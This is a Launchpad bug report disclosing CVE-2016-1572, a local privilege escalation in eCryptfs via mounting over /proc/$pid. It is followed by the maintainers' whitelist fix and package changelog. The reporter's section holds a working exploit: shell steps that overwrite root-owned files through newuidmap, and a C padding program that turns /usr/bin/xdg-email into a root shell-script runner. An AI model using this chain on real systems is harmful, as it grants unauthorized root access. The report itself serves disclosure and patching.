privilege escalation by mounting over /proc/$pid

Bug #1530566 reported by Jann Horn on 2016-01-02
260
This bug affects 1 person
Affects Status Importance Assigned to Milestone
eCryptfs
High
Tyler Hicks
ecryptfs-utils (Ubuntu)
High
Dustin Kirkland 
Precise
High
Tyler Hicks
Trusty
High
Tyler Hicks
Vivid
High
Tyler Hicks
Wily
High
Tyler Hicks
Xenial
High
Dustin Kirkland 

Bug Description

An unprivileged user can mount an ecryptfs over /proc/$pid because according to stat(), it is a normal directory and owned by the user. However, the user is not actually permitted to create arbitrary directory entries in /proc/$pid, and ecryptfs' behavior might be enabling privilege escalation attacks with the help of other programs that use procfs.

Repro:

On Ubuntu 15.10 Desktop, as root, install ecryptfs-utils and uidmap. Then, as user, do this:

==============================================================================
user2@user-VirtualBox:~$ ecryptfs-setup-private
Enter your login passphrase [user2]:
Enter your mount passphrase [leave blank to generate one]:
Enter your mount passphrase (again):

************************************************************************
YOU SHOULD RECORD YOUR MOUNT PASSPHRASE AND STORE IT IN A SAFE LOCATION.
  ecryptfs-unwrap-passphrase ~/.ecryptfs/wrapped-passphrase
THIS WILL BE REQUIRED IF YOU NEED TO RECOVER YOUR DATA AT A LATER TIME.
************************************************************************

Done configuring.

Testing mount/write/umount/read...
Inserted auth tok with sig [85448916757c54dd] into the user session keyring
Inserted auth tok with sig [6105ef336170239a] into the user session keyring
Inserted auth tok with sig [85448916757c54dd] into the user session keyring
Inserted auth tok with sig [6105ef336170239a] into the user session keyring
Testing succeeded.

Logout, and log back in to begin using your encrypted directory.

user2@user-VirtualBox:~$ echo "/home/user2/.Private /proc/$$ ecryptfs none 0 0" > .ecryptfs/evil.conf
user2@user-VirtualBox:~$ cp .ecryptfs/Private.sig .ecryptfs/evil.sig
user2@user-VirtualBox:~$ sed 's|/sbin/mount\.ecryptfs_private|\0 evil|' < /usr/bin/ecryptfs-mount-private > /tmp/foo
user2@user-VirtualBox:~$ chmod +x /tmp/foo
user2@user-VirtualBox:~$ /tmp/foo
Enter your login passphrase:
Inserted auth tok with sig [85448916757c54dd] into the user session keyring
user2@user-VirtualBox:~$ ln -s /etc/hostname /proc/$$/uid_map
user2@user-VirtualBox:~$ newuidmap $$ 0 1001 1
user2@user-VirtualBox:~$ cat /etc/hostname
0 1001 1
ualBox
==============================================================================

As you can see, the start of /etc/hostname was clobbered with attacker-controlled content.

Now the interesting part comes: We can only write lines with numbers, and only starting at the start of files, so how does this yield code exec? :D
Bash has an interesting behavior when invoking executable files: If the kernel doesn't recognize a file, bash will try to run it as a shellscript. And then, if that shellscript contains a spew of invalid commands, bash will just keep going (and spit out error messages) until it hits a valid command. When it sees a single line with a valid command, it'll run it, no matter what comes after that. And therefore, this works (after the same preparation as above):

$ grep -bo '/tmp/.*' /usr/bin/xdg-email
4721:/tmp/logo.png \

We need 4721 bytes padding.
"0 1001 1\n" is 9 bytes long, we use it until the remaining padding is a multiple of 10. Every use increments the last digit by one, so we use it 9 times. The remaining padding is 4721-9*9=4640 bytes, which we can fill using 464 times "10 1001 1\n", which is 10 bytes long.

$ rm /proc/$$/uid_map # if it still exists from the last part
$ ln -s /usr/bin/xdg-email /proc/2468/uid_map
$ cat attack.c
#include <err.h>
#include <unistd.h>
#include <string.h>

int main(int argc, char **argv_in) {
  if (argc != 3)
    errx(1, "bad invocation, want ./attack <pid> <myuid>");
  char *pid = argv_in[1];
  char *myuid = argv_in[2];
  if (strlen(myuid) != 4)
    errx(1, "bad uid");
  int pad10_count = 464;
  int pad9_count = 9;
  int total_count = pad10_count + pad9_count;
  char *argv[1 + 1 + 3 * total_count + 1];
  argv[0] = "newuidmap";
  argv[1] = pid;
  int j = 2;
  for (int i=0; i<pad10_count; i++) {
    argv[j++] = "10";
    argv[j++] = "1001";
    argv[j++] = "1";
  }
  for (int i=0; i<pad9_count; i++) {
    argv[j++] = "1";
    argv[j++] = "1001";
    argv[j++] = "1";
  }
  argv[j++] = NULL;
  execvp("newuidmap", argv);
  err(1, "execvp");
}
$ gcc -o attack attack.c -Wall -std=gnu99
$ ./attack $$ 1001
$ echo -e '#!/bin/sh\necho "owned!"\nid\nkill -9 $PPID' > /tmp/logo.png
$ chmod +x /tmp/logo.png

And now as another user (or root):

lBox:/etc# xdg-email
/usr/bin/xdg-email: line 1: 10: command not found
/usr/bin/xdg-email: line 2: 10: command not found
[...]
/usr/bin/xdg-email: line 472: 1: command not found
/usr/bin/xdg-email: line 473: 1: command not found
owned!
uid=0(root) gid=0(root) groups=0(root)
Killed

Of course, this kind of modification doesn't work for most executables, but it does work for some.

Another way to exploit this without newuidmap might be to confuse polkit about the identity of a connecting process - _polkit_unix_process_get_owner() contains code to determine the ruid of a process by reading its /proc/$pid/status file. I didn't investigate that much though, so I'm not sure whether that codepath is actually used anywhere.

I'm not sure about what a proper fix for this would look like - maybe just blacklist the dev_t of procfs when checking the result of stat()ing the mountpoint and also require access(".", R_OK|W_OK|X_OK) to be successful? Or you could do what FUSE does and prevent anyone except for the user from accessing the mountpoint.

Related branches

CVE References

Jann Horn (jann-e) on 2016-01-02
information type: Private Security → Private
information type: Private → Private Security
Tyler Hicks (tyhicks) wrote :

Thanks for the report, Jann.

My initial thoughts are that we should blacklist mounting on top of procfs, as you suggested. I'll give it some more thought tomorrow.

Changed in ecryptfs:
importance: Undecided → High
Tyler Hicks (tyhicks) on 2016-01-06
description: updated
Tyler Hicks (tyhicks) wrote :

Here's a patch that implements a blacklist of filesystem types that must not be found at the mount destination path. I'd prefer to implement a whitelist here but I think it would greatly increase the risk of breaking a valid use case.

I'd appreciate review from other eCryptfs maintainers. Thanks!

Tyler Hicks (tyhicks) wrote :

Colin Ian King provided some feedback in an offline email thread, showing support for the whitelist approach. I've tried my best to enumerate all the possible private mount destination filesystem types that we'd see under normal usage.

Tyler Hicks (tyhicks) wrote :

Here's an updated whitelist patch that adds AUFS and Squashfs to the allowed private mount destination whitelist.

Jann Horn (jann-e) wrote :

The whitelist approach looks good to me. (I first wondered whether it would be possible to first mount a FUSE filesystem over /proc/$pid, then mount an ecryptfs over that, but that wouldn't work because unprivileged FUSE wouldn't allow the chdir() to the filesystem root.)

Marc Deslauriers (mdeslaur) wrote :

This is CVE-2016-1572

Tyler Hicks (tyhicks) on 2016-01-20
information type: Private Security → Public Security

The attachment "private-mount-dest-fs-type-whitelist.patch" seems to be a debdiff. The ubuntu-sponsors team has been subscribed to the bug report so that they can review and hopefully sponsor the debdiff. If the attachment isn't a patch, please remove the "patch" flag from the attachment, remove the "patch" tag, and if you are member of the ~ubuntu-sponsors, unsubscribe the team.

[This is an automated message performed by a Launchpad user owned by ~brian-murray, for any issue please contact him.]

tags: added: patch
Changed in ecryptfs-utils (Ubuntu Precise):
importance: Undecided → High
Changed in ecryptfs-utils (Ubuntu Trusty):
importance: Undecided → High
Changed in ecryptfs-utils (Ubuntu Vivid):
importance: Undecided → High
Changed in ecryptfs-utils (Ubuntu Wily):
importance: Undecided → High
Changed in ecryptfs-utils (Ubuntu Xenial):
importance: Undecided → High
Tyler Hicks (tyhicks) wrote :

I forgot to put this bug number in the changelog when I uploaded fixes for this issue earlier today. See http://www.ubuntu.com/usn/usn-2876-1/ for details such as the package versions containing fixes for the various Ubuntu releases.

As for the current Ubuntu development release (Xenial), Dustin Kirkland will be cutting a new upstream ecryptfs-utils release soon, which will include the fix, and then upload that release to Xenial.

Changed in ecryptfs-utils (Ubuntu Precise):
status: New → Fix Released
Changed in ecryptfs-utils (Ubuntu Trusty):
status: New → Fix Released
Changed in ecryptfs-utils (Ubuntu Vivid):
status: New → Fix Released
Changed in ecryptfs-utils (Ubuntu Wily):
status: New → Fix Released
Changed in ecryptfs-utils (Ubuntu Xenial):
status: New → Triaged
assignee: nobody → Dustin Kirkland  (kirkland)
Changed in ecryptfs-utils (Ubuntu Wily):
assignee: nobody → Tyler Hicks (tyhicks)
Changed in ecryptfs-utils (Ubuntu Vivid):
assignee: nobody → Tyler Hicks (tyhicks)
Changed in ecryptfs-utils (Ubuntu Trusty):
assignee: nobody → Tyler Hicks (tyhicks)
Changed in ecryptfs-utils (Ubuntu Precise):
assignee: nobody → Tyler Hicks (tyhicks)
Changed in ecryptfs:
assignee: nobody → Tyler Hicks (tyhicks)
status: New → Fix Committed
Tyler Hicks (tyhicks) wrote :

The upstream fix was committed as revision 870:

  https://bazaar.launchpad.net/~ecryptfs/ecryptfs/trunk/revision/870

Launchpad Janitor (janitor) wrote :

This bug was fixed in the package ecryptfs-utils - 109-0ubuntu1

---------------
ecryptfs-utils (109-0ubuntu1) xenial; urgency=medium

  [ Maikel ]
  * doc/manpage/ecryptfs-migrate-home.8: Fix typos in man page (LP: #1518787)

  [ Kylie McClain ]
  * src/utils/mount.ecryptfs.c, src/utils/mount.ecryptfs_private.c: Fix build
    issues on musl libc (LP: #1514625)

  [ Colin Ian King ]
  * src/daemon/main.c:
    - Static analysis with Clang's scan-build shows that we can potentially
      overflow the input buffer if the input is equal or more than the buffer
      size. Need to guard against this by:
      1. Only reading in input_size - 1 chars
      2. Checking earlier on to see if input_size is value to insure that we
         read in at least 1 char

  [ Tyler Hicks ]
  * src/utils/mount.ecryptfs_private.c:
    - Refuse to mount over non-standard filesystems. Mounting over
      certain types filesystems is a red flag that the user is doing
      something devious, such as mounting over the /proc/self symlink
      target with malicious content in order to confuse programs that may
      attempt to parse those files. (LP: #1530566)

  [ Dustin Kirkland ]
  * xenial

 -- Dustin Kirkland <email address hidden> Fri, 22 Jan 2016 10:05:35 -0600

Changed in ecryptfs-utils (Ubuntu Xenial):
status: Triaged → Fix Released
To post a comment you must log in.
This report contains Public Security information  Edit
Everyone can see this security related information.

Other bug subscribers